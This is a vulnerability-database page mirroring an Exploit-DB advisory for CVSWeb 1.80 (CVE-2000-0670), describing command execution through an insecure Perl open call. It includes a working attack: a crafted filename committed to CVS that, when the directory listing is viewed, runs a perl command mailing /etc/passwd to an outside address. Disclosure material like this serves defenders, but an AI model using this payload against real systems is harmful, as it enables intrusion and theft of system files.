Lucene search
+L

CVSWeb Developer CVSWeb 1.80 - Insecure Perl 'open' Code Execution

🗓️ 12 Jul 2000 00:00:00Reported by Joey HessType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 19 Views

Cvsweb 1.80 allows insecure Perl function exploit enabling command execution on host machine.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2000-0670
13 Oct 200004:00
cve
cvelist
Cvelist
CVE-2000-0670
13 Oct 200004:00
cvelist
nessus
Tenable Nessus
CVSweb 1.80 cvsweb.cgi Arbitrary Command Execution
15 Jul 200000:00
nessus
euvd
EUVD
EUVD-2000-0666
7 Oct 202500:30
euvd
nvd
NVD
CVE-2000-0670
12 Jul 200004:00
nvd
source: https://www.securityfocus.com/bid/1469/info

Cvsweb 1.80 makes an insecure call to the perl OPEN function, providing attackers with write access to a cvs repository the ability to execute arbitrary commands on the host machine. The code that is being exploited here is the following: open($fh, "rlog '$filenames' 2>/dev/null |")

An attack looks something like this:

SHELLCODE="';perl -e '\$_=q{mail foo#bar.baz < !etc!passwd}; y:!#:\x2F\x40:; system \$_';'"
touch $SHELLCODE
cvs add $SHELLCODE
cvs commit -m '' $SHELLCODE

Then the attacker either visits the cvsweb page that is a directory listing for the directory they put the trojan file in, or they wait for someone else to do the same. Views of this page cause the command to be executed, mailing /etc/passwd to the attacker or [insert something more nasty here].

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Nov 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.05606
19